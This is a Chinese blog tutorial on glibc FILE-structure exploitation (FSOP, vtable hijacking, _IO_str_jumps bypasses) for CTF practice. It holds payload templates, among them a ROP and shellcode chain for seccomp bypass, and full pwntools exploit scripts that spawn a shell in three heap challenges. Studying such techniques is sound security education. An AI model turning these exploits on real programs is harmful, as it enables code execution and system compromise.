IO_file结构、FSOP、house of orange总结

IO_file相关结构

_IO_list_all 是一个 _IO_FILE_plus 结构体定义的一个指针,如下:

extern struct _IO_FILE_plus *_IO_list_all;

它存在在符号表内,所以pwntools是可以搜索到的,查看结构体_IO_FILE_plus内部:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

是由_IO_FILE和_IO_jump_t组成的:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif

};

FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。
_IO_list_all->stderr->stdout->stdin构成链表。libc.so中找到stdin\stdout\stderr等符号,这些符号是指向FILE结构的指针,真正结构的符号是

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

64位IO_FILE_plus结构体中的偏移:

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

vtable是_IO_jump_t类型的指针,_IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准IO函数中会调用这些函数指针,该类型在libc文件中的导出符号是_IO_file_jumps,_IO_jump_t如下:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

通常会将_IO_overflow_t,改为system或onegadget地址完成利用。
一些c函数对_IO_jump_t虚表里面函数的调用情况:

  • printf/puts 最终会调用_IO_file_xsputn
  • fclose 最终会调用_IO_FILE_FINISH
  • fwrite最终会调用_IO_file_xsputn
  • fread 最终会调用_IO_fiel_xsgetn
  • scanf/gets最终会调用_IO_file_xsgetn

FSOP

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow
利用模板:
64位64位的_IO_FILE_plus构造模板:

stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)

32位的_IO_FILE_plus构造模板:

stream = "sh\x00\x00"+p32(0x31)   # system_call_parameter and link to small_bin[4] 
stream += ";$0\x00"+p32(IO_list_all-0x8)   # Unsorted_bin attack
stream +=p32(1)+p32(2)     # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0x88,"\x00")  
stream += p32(0)    # mode<=0
stream += p32(0)
stream += p32(0)
stream += p32(vtable_addr)  # vtable_addr --> system

64位下seccomp禁用execve系统调用的构造模板:

    io_list_all = libc_base+libc.symbols['_IO_list_all']
    setcontext = libc_base+libc.symbols['setcontext']
    mprotect = libc_base+libc.symbols['mprotect']
    Open = libc_base+libc.symbols['open']
    Read = libc_base+libc.symbols['read']
    Write = libc_base+libc.symbols['write']
    pop_rdi_ret = 0x0000000000400d93
    pop_rsi_ret = libc_base+0x00000000000202e8
    pop_rdx_ret = libc_base+0x0000000000001b92
    pop_rdi_rbp_ret = libc_base+0x0000000000020256
    pop_three_ret = 0x0000000000400d8f
    ret = 0x00000000004008d9

    context.arch = 'amd64'
    shellcode = asm(shellcraft.amd64.linux.cat('flag'))

    rop = flat(
        p64(pop_rdi_ret),
        p64(current_io_chunk&~0xfff),
        p64(pop_rsi_ret),
        p64(0x1000),
        p64(pop_rdx_ret),
        p64(7),
        p64(mprotect),
    )

    rop += p64(current_io_chunk+0x30+len(rop)+8)+shellcode

    fake_vtable = current_io_chunk+0xe0-0x18

    payload = p64(0) + p64(0x61)
    payload += p64(0xddaa) + p64(io_list_all-0x10)
    payload += p64(2) + p64(3)
    payload += rop
    payload = payload.ljust(0xa0,'\x00')
    payload += p64(current_io_chunk+0x30) #rsp
    payload += p64(ret) # to rop
    payload = payload.ljust(0xd8,'\x00')
    payload += p64(fake_vtable)
    payload += p64(setcontext+53) # 0xe0

libc2.23利用方式 修改vtable到可控内存

由于vtable不可写,我们通过伪造vtable指向我们可控的内存,并布置函数指针来实现,通常是修改_IO_2_1_stdout_结构,因为printf时会用到该结构,且最终会调用到该结构vtable里面的_IO_file_xsputn函数指针,一般程序里出现setbuf、setvbuf,在bss段会有他相应的指针,但通常情况下,可以泄露libc,找到_IO_2_1_stdout_改函数指针我们可以填充为one_gadget或system函数地址,传参的话,多数vtable函数指针在被调用时,会将它的_IO_FILE_plus地址当作第一个参数传递,所以我们可以将_IO_FILE_plus的_flags成员填成“/bin/sh\x00”,但这种方法通常也不好用,因为调用vtable函数指针之前会对_IO_FILE_plus的结构进行检查,通常改“/bin/sh\x00”之后会导致对_flags成员的检查不通过(亲测printf不行,但House of orange利用中出现的_IO_flush_all_lockp能检查通过)

libc2.24 添加check 利用io_str_jumps

libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

vtable必须要满足 在 __stop___IO_vtables__start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。
但是_IO_str_jumps__IO_wstr_jumps就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps__IO_wstr_jumps就行。
利用方式两种:

  • 利用__IO_str_jumps中的_IO_str_finsh函数
  • 利用__IO_str_jumps中的_IO_str_overflow函数

如何确定io_str_jumps地址?

由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示

pwndbg> p _IO_str_underflow
$1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6       0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6       0x7f4d4d224160 0x7f4d4cf04790
libc.so.6       0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>

可以通过_IO_str_jumps 的地址大于 _IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过):

IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
    possible_IO_str_jumps_offset = ref_offset - 0x20
    if possible_IO_str_jumps_offset > IO_file_jumps_offset:
        print possible_IO_str_jumps_offset
        break

io_str_finish

void _IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & 1))
    ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h]
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

条件:

fp->_IO_buf_base为真
fp->_flags & 1 为假  // fp->_flags=0

即:
1. fp->_mode = 0
2. fp->_IO_write_ptr > fp->_IO_write_base
3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件)
vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish
5. fp->_flags= 0
6. fp->_IO_buf_base = binsh_addr
7. fp+0xe8 = system_addr

fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样)

io_str_overflow

io_str_overflow比io_str_finish复杂,主要是构造条件复杂:

__int64 __fastcall IO_str_overflow(_IO_FILE *fp, unsigned int a2)
{
  int v2; // ecx
  signed __int64 result; // rax
  _QWORD *v4; // rdx
  char *v5; // r12
  unsigned __int64 v6; // r13
  unsigned __int64 v7; // r14
  __int64 v8; // rax
  __int64 v9; // r15
  _QWORD *v10; // rax
  _QWORD *v11; // rax

  v2 = fp->_flags;
  if ( fp->_flags & 8 )
    return (unsigned int)-(a2 != -1);
  if ( (fp->_flags & 0xC00) == 0x400 )
  {
    v4 = fp->_IO_read_ptr;
    v11 = fp->_IO_read_end;
    BYTE1(v2) |= 8u;
    LODWORD(fp->_flags) = v2;
    fp->_IO_write_ptr = v4;
    fp->_IO_read_ptr = v11;
  }
  else
  {
    v4 = fp->_IO_write_ptr;
  }
  v6 = (char *)fp->_IO_buf_end - (char *)fp->_IO_buf_base
  if ( (char *)v4 - (char *)fp->_IO_write_base >= v6 + (a2 == -1) )
  {
    if ( v2 & 1 )
      return 0xFFFFFFFFLL;
    v7 = 2 * v6 + 100;
    if ( v6 > v7 )
      return 0xFFFFFFFFLL;
    v8 = ((__int64 (__fastcall *)(unsigned __int64)) fp + 0xE0)(2 * v6 + 100); // call
    v9 = v8;
    .........
  }
  .......
  .......
}

fp->_flags & 8 得为0,(fp->_flags & 0xC00) == 0x400 得为0 , fp->_flags & 1 得为0, 所以我这里就将fp->_flags设置为0 ; 并设置fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base
这样我们才能够绕过检查,来到函数调用(fp + 0xE0)(2 * v6 + 100)也就是 (fp + 0xE0)(2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100)
我们可以将 fp + 0x E0设置成 system函数地址 ,fp->_IO_buf_base设置成0,fp->_IO_buf_end设置成 (binsh_addr-100)/2这样就设置了system参数,fp->_IO_write_ptr设置成一个很大的正值
这里有个坑,就是(binsh_addr-100)/2, 当/bin/sh地址存在于libc中,它/2再*2 若是除不尽有余数的话 会影响最后的参数地址,我们为了避免这种情况我们尽量在堆内存中填入"/bin/sh\x00", 因为堆内存往往都是2的倍数对齐。
条件:

fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2#如果bin/sh地址以奇数结尾可以+1以避免向下取整
fp->_IO_write_ptr = (bin_sh_addr - 100) / 2
fp->_IO_write_base = 0
fp->_mode = -1
fp+0xe0 = system

利用链;
close -> finish -> _IO_str_overflow ->(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

libc2.27 利用方式

先pass

IO FILE涉及到gdb命令

看例子之前,先总结一些关于IO_FILE查看结构体的gdb命令:

p _IO_list_all      查看_IO_list_all 地址
p _IO_list_all->file._chain     查看_IO_list_all的下一个file结构体地址
p _IO_list_all->file._chain->_chain      同上
p *(struct _IO_FILE_plus *)0x558df5c9c060      0x558df5c9c060为fake io file地址,查看 _IO_FILE_plus结构体
p *(struct _IO_jump_t *)0x55b5cefb2140    查看_IO_jump_t 结构体
p _IO_str_jumps    查看_IO_str_jumps
p _IO_file_jumps   查看_IO_file_jumps   
parseheap   查看堆的使用情况
heapinfo  查看堆结构

例子:

2018suctf note(libc2.24,libc2.23)

保护全开
add添加函数:

  printf("Size:");
    __isoc99_scanf("%d", &v1);
    getchar();
    if ( v1 > 0 && v1 <= 4096 )
    {
      (&ptr)[i] = (char *)malloc(v1);
      printf("Content:");
      __isoc99_scanf("%s", (&ptr)[i]);<-----------
      getchar();
      printf("ok!Index:%d\n", (unsigned int)i);
    }
    else

box函数:

 if ( v1 == 1 )
  {
    if ( dword_202078 == 1 )
    {
      puts(ptr);
      puts(qword_2020C8);
      free(ptr);
      free(qword_2020C8);
      dword_202078 = 0;
    }

程序存在堆溢出漏洞,且存在uaf,还是利用溢出构造fake io file plus结构,通过释放unsorted bin得到libc基址。io_file利用方式主要是:

  1. 通过修改vtable指向可控内存–>fake io_file_jump,覆盖io_overflow=system,此需要泄露heap地址,且只支持libc2.24以下。
  2. 通过修改vtable为io_str_jumps,伪造io_str_overflow或io_str_finish为system,如上述方法,此处只需要泄露libc,适合libc2.24以上。
    具体请看这里这里

exp:

from pwn import *

#SUCTF{Me1z1jiu_say_s0rry_LOL}
context.log_level='debug'
debug=1
context.terminal = ['terminator','-x','sh','-c']
if debug:
	p = process('./note')
	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else :
	libc = ELF('./libc6_2.24-12ubuntu1_amd64.so')
#p = remote('pwn.suctf.asuri.org',20003)
p.recvuntil('Welcome Homura Note Book!   ')

def add(size,content):
	p.recvuntil('Choice>>')
	p.sendline('1')
	p.recvuntil('Size:')
	p.sendline(str(size))
	p.recvuntil('Content:')
	p.sendline(content)
def show(index):
	p.recvuntil('Choice>>')
	p.sendline('2')
	p.recvuntil('Index:')
	p.sendline(str(index))
def dele():
	p.recvuntil('Choice>>')
	p.sendline('3')
	p.recvuntil('(yes:1)')
	p.sendline('1')

#gdb.attach(p)
add(16,'1'*16)#2
#gdb.attach(p)
#leak system address
dele()

show(0)

p.recvuntil('Content:')
libc_addr = u64(p.recv(6)+'\x00\x00')

libc_base = libc_addr - 0x3c4b78# - libc.symbols['__malloc_hook']
print 'libc_base',hex(libc_base)
sys_addr = libc_base+libc.symbols['system']
malloc_hook = libc_base+libc.symbols['__malloc_hook']
log.info('malloc_hook:%#x' %malloc_hook)
io_list_all = libc_base+libc.symbols['_IO_list_all']
log.info('io_list_all:%#x' %io_list_all)
binsh_addr = libc_base+next(libc.search('/bin/sh'))
log.info('binsh_addr:%#x' %binsh_addr)
log.info('sys_addr:%#x' %sys_addr)

#fake chunk
fake_chunk = p64(0)+p64(0x61) #header
fake_chunk += p64(0xddaa)+p64(io_list_all-0x10)

fake_chunk += p64(0x2)+p64(0xffffffffffffff) + p64(0)+p64(binsh_addr) +p64(0)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(0)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0)

vtable_addr = malloc_hook-0x1370#+libc.symbols['_IO_str_jumps']
print 'vtable_addr:',hex(vtable_addr)
payload = 'a'*16 +fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr-8)
payload += p64(0)
payload += p64(sys_addr)


add(16,payload)#3
#gdb.attach(p)
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(0x200))
#gdb.attach(p)
pause()
p.interactive()

clear_note

保护全开
add函数;

{
  int result; // eax
  int i; // [rsp+8h] [rbp-8h]

  for ( i = 0; i <= 1 && info[i]; ++i )<------------------
    ;
  if ( i == 2 )
    return puts("full");
  printf("size: ");
  result = sub_AB2();
  if ( result >= 0 && result <= 256 )
  {
    info[i] = malloc(result);
    printf("info: ");
    _isoc99_scanf("%s", info[i]);<-------------------
    result = getchar();
  }
  return result;

存在堆溢出,且存在uaf,可以通过uaf泄露libc,但是程序只能申请两个note,通过合理设置构造unsorted bin通过堆溢出构造io_file_plus结构,通过unsorted bin触发FSOP,原理和suctf2018 note相似。

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

p = process('./clear_note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['terminator','-x','sh','-c']
def dbg(address=0):
    if address==0:
        gdb.attach(p)
        pause()
    else:
        if address > 0xfffff:
            script="b *{:#x}\nc\n".format(address)
        else:
            script="b *$rebase({:#x})\nc\n".format(address)
        gdb.attach(p, script)
def addnote(size,content):
    p.sendlineafter("choice>>",'1')
    p.sendlineafter("size:",str(size))
    p.sendlineafter("info:",content)
def shownote(idx):
    p.sendlineafter("choice>>",'2')
    p.sendlineafter("index:",str(idx))
    info = hex(u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0')))
    return info

def deletenote(idx):
    p.sendlineafter("choice>>",'3')
    p.sendlineafter("index:",str(idx))
    

##### leak libc
addnote(0x88, "aaa\n")
addnote(0x88, "aaa\n")
deletenote(0)
#dbg()
main_area = shownote(0)

print "main_area:",main_area
libcbase = int(main_area,16)-0x3c4b78
print "libcbase",hex(libcbase)
system = libcbase + libc.symbols['system']
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)
malloc_hook = libcbase+libc.symbols['__malloc_hook']
log.info('malloc_hook:%#x' %malloc_hook)
vtable_addr = malloc_hook-0x1370

binsh_addr = libcbase+next(libc.search('/bin/sh'))
log.success('binsh: '+hex(binsh_addr))

deletenote(0)
addnote(0x100, "0\n")       #top chrunk分配 
deletenote(1)
deletenote(1)    #0x120 free

payload = 'a'*0xb0  #padding
#### fake_chunk--->fake io_File_Plus
fake_chunk = p64(0)+p64(0x61) #header _flags = 0,_IO_read_ptr = 0x61, #smallbin4file_size
fake_chunk += p64(0xddaa)+p64(_IO_list_all-0x10)#unsorted bin attack

fake_chunk += p64(0x2) #_IO_write_base 
fake_chunk +=p64(0xffffffffffffff) #_IO_write_ptr 满足_IO_write_ptr>_IO_write_base
fake_chunk +=p64(0) 
fake_chunk +=p64(binsh_addr) #_IO_buf_base = binsh_addr
fake_chunk +=p64(0)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(0)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0)  #mode = 0

payload += fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr-8)# io_str_jumps-8
payload += p64(0) #padding 
payload += p64(system)# fp+0xe8  overflower = io_str_finish
          
#dbg()
addnote(0xb0,payload)       # 0xc1 0x68  0x110 top chrunk
#dbg()
deletenote(0)
dbg()
addnote(0x10,'dddd')
#dbg()
p.interactive()

fast–going

保护全开
add函数,限制bin大小,并没有堆溢出:

 result = sub_BA3();
  v1 = result;
  if ( result != -1 )
  {
    sub_A70("size: ");
    result = sub_B4A();
    nbytes = result;
    if ( result >= 0 && result <= 80 )<-------------限制bin大小0-80属于fastbin
    {
      qword_202060[v1] = malloc(result);
      sub_A70("info: ");
      result = read(0, (void *)qword_202060[v1], nbytes);
    }
  }

存在uaf:

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  v0 = sub_BA3();
  if ( v0 != -1 )
    free((void *)qword_202060[v0]);
}

所以只能利用fastbin泄露heap地址,fastbin attack构造unsorted bin泄露libc,堆块中布置fake_IO_list_all的数据,并改写unsortbin的bk指针,然后通过unsortedbin attacked 拿到shell。

思路:

由于程序限制了bin的大小,且只能申请四个bin,所以通过巧妙构造实现。

  1. 申请两个fastbin,chunk0、chunk1依次释放,fastbin通过fd链入fastbin链表,再次申请chunk1泄露heap基址(申请的内容最多覆盖低地址一字节)
  2. 申请chunk0(铺垫fake chunk的头部)、chunk2、chunk3
  3. 通过fastbin attack ,依次释放chunk0、chunk1、chunk0,申请chunk0并修改chunk0的fd为任意地址(fake chunk),再次申请chunk1、chunk0、fake chunk,从而实现任意地址写。
  4. 通过fake chunk可以覆盖chunk1的size为非fastbin,释放chunk1,从而泄露libc
  5. 此时unsorted bin chunk有了,然后通过同样的fastbin方法构造fake_IO_list_all的数据,最后通过unsorted bin来拿到shell
  6. 构造fake_IO_list_all数据记得关键的check条件要设置好,可多次利用fastbin attack来实现。

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

arch = '64'
version = '2.23'
context.log_level='debug'
p = process('./fast_going')
#p = remote("10.104.7.52",9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64')
context.terminal = ['terminator','-x','sh','-c']
def get_one():
    if(arch == '64'):
        if(version == '2.23'):
            one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        if (version == '2.27'):
            #one = [0x4f2c5 , 0x4f322 , 0x10a38c]
            one = [0x4f365 , 0x4f3c2 , 0x10a45c]
    return one
def dbg(address=0):
    if address==0:
        gdb.attach(p)
        pause()
    else:
        if address > 0xfffff:
            script="b *{:#x}\nc\n".format(address)
        else:
            script="b *$rebase({:#x})\nc\n".format(address)
        gdb.attach(p, script)
def addnote(index,size,content=''):
    p.sendlineafter("choice:",'1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    #if size<0x5000:
    p.recvuntil("info:")
    p.send(content)
def shownote(idx):
    p.sendlineafter("choice:",'2')
    p.sendlineafter("index:",str(idx))
    info = hex(u64(p.recvuntil("\x31")[-7: -1].ljust(8, '\0')))
    return info

def deletenote(idx):
    p.sendlineafter("choice:",'3')
    p.sendlineafter("index:",str(idx))
    
one = get_one()
#### 铺垫fastbin,泄露heap
addnote( 0, 0x50, "0")
addnote(1, 0x50, "1")
deletenote( 0)
deletenote( 1)
addnote( 1, 0x50, "2")
heap_addr=int(shownote(1),16)-0x32#0x32为堆的偏移
print "heap_addr",hex(heap_addr)

payload = ""
payload += 'a'*0x30
payload += p64(0)
payload += p64(0x61) #铺垫好fake chunk的size,为fastbin attack向此处写做准备
addnote(0,0x50,payload)
addnote(2,0x50,'2')  # 扩展堆,达到io file结构的大小
addnote(3,0x50,p64(0)) 

deletenote( 0)
deletenote( 1) 
deletenote( 0)

addnote(0,0x50,p64(heap_addr+0x40)) #覆盖chunk0 fd为任意地址(heap_addr+0x40)

addnote(0,0x50,'a')

addnote(0,0x50,'a')

addnote(0,0x50,"a"*0x10+p64(0)+p64(0xc1))#申请到heap_addr+0x40,覆盖chunk1的大小为0xc1,为泄露libc做准备
#deletenote(0)
#dbg()
deletenote(1) # 释放chunk1,0xc1会被释放到unsorted bin,fd bk 指向main_area 泄露libc
#dbg()
p.sendlineafter("choice:",'2')
p.sendlineafter("index:",'1')
libc_base = u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0'))-0x3c4b78 #main_area到libc基地址偏移
print 'lib_base:',hex(libc_base)
IO_list_all = libc_base + libc.symbols['_IO_list_all']
print 'IO_list_all',hex(IO_list_all)
binsh_addr = libc_base+next(libc.search('/bin/sh'))
log.info('binsh_addr:%#x' %binsh_addr)
sys_addr = libc_base+libc.symbols['system']
log.info('sys_addr:%#x' %sys_addr)
malloc_hook = libc_base+libc.symbols['__malloc_hook']
log.info('malloc_hook:%#x' %malloc_hook)
vtable_addr = malloc_hook-0x1370
print 'vtable_addr:',hex(vtable_addr)

#######同样的fastbin attack 实现填充fake io file结构
dbg()
deletenote( 2)
deletenote( 3)
deletenote( 2)

addnote(2,0x50,p64(heap_addr+0x40)) 
addnote(3,0x50,p64(0)+p64(vtable_addr-8)+p64(0)+p64(sys_addr))# 构造vtable,fp+0xe8=system
addnote(2,0x50,p64(0)*10)
#dbg()
# 构造检查条件flag=0,chunk1 size=0x61(small bin),chunk1 bk=IO_list_all-0x10,io_write_ptr>io_write_base,io_buf_base=binsh
addnote(0,0x50,p64(0)*3+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+p64(0x2)+p64(0xffffffffffffff) + p64(0)+p64(binsh_addr))

######由于构造后mode=0xc0(chunk3的pre_size),过不了check,再次将mode覆盖成0
#dbg()
deletenote( 2)
deletenote( 3)
deletenote( 2)
addnote(2,0x50,p64(heap_addr+0xf0)+p64(0)*4+p64(0x61))# heap_addr+0xf0为选择的合适的fake chunk

addnote(3,0x50,p64(0)+p64(vtable_addr-8)+p64(0)+p64(sys_addr))

#
addnote(2,0x50,p64(0))

addnote(1,0x50,p64(0)*6)#覆盖chunk3 pre_size = 0 即mode = 0

#dbg()
addnote(2,0x10,'ddddd') #malloc触发FSOP
#dbg()
p.interactive()

不可预期

io_str_overflows、io_str_finish该攻击有一定概率失败,主要原因是因为第一次将_IO_list_all劫持到main_arena时,由于main_arena不可控,该内存随机

     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)   
   || (_IO_vtable_offset (fp) == 0                                    
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr             
			    > fp->_wide_data->_IO_write_base))                          
   )                                                                  
  && _IO_OVERFLOW (fp, EOF) == EOF)                                   
result = EOF;                                                     

&& _IO_OVERFLOW (fp, EOF) == EOF的符号&&为短路与,所以有时该check流程,假如((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)判断为真,或者是 _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)判断为真,那他们相或结果为真,就会造成执行 _IO_OVERFLOW (fp, EOF) == EOF调用未知Vtable错误地址,程序Abort,所以程序有一定概率失败。

如果那两个判断都为假,那他们相或结果为假,根据&&的短路与,就不会执行右边的_IO_OVERFLOW (fp, EOF) == EOF),直接通过fp = fp->_chain寻找新的_IO_file结构来执行_IO_OVERFLOW

参考文章

  1. https://xz.aliyun.com/t/5579#toc-3
  2. https://xz.aliyun.com/t/2411
  3. https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie
  4. https://nightrainy.github.io/2019/08/03/IO-FILE%E7%BB%93%E6%9E%84%E4%BD%93%E5%88%A9%E7%94%A8/
  5. https://www.anquanke.com/post/id/168802#h3-6
  6. https://xz.aliyun.com/t/5508#toc-4
  7. https://www.anquanke.com/post/id/87194
  8. https://www.anquanke.com/post/id/164558#h2-4
  • 11
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
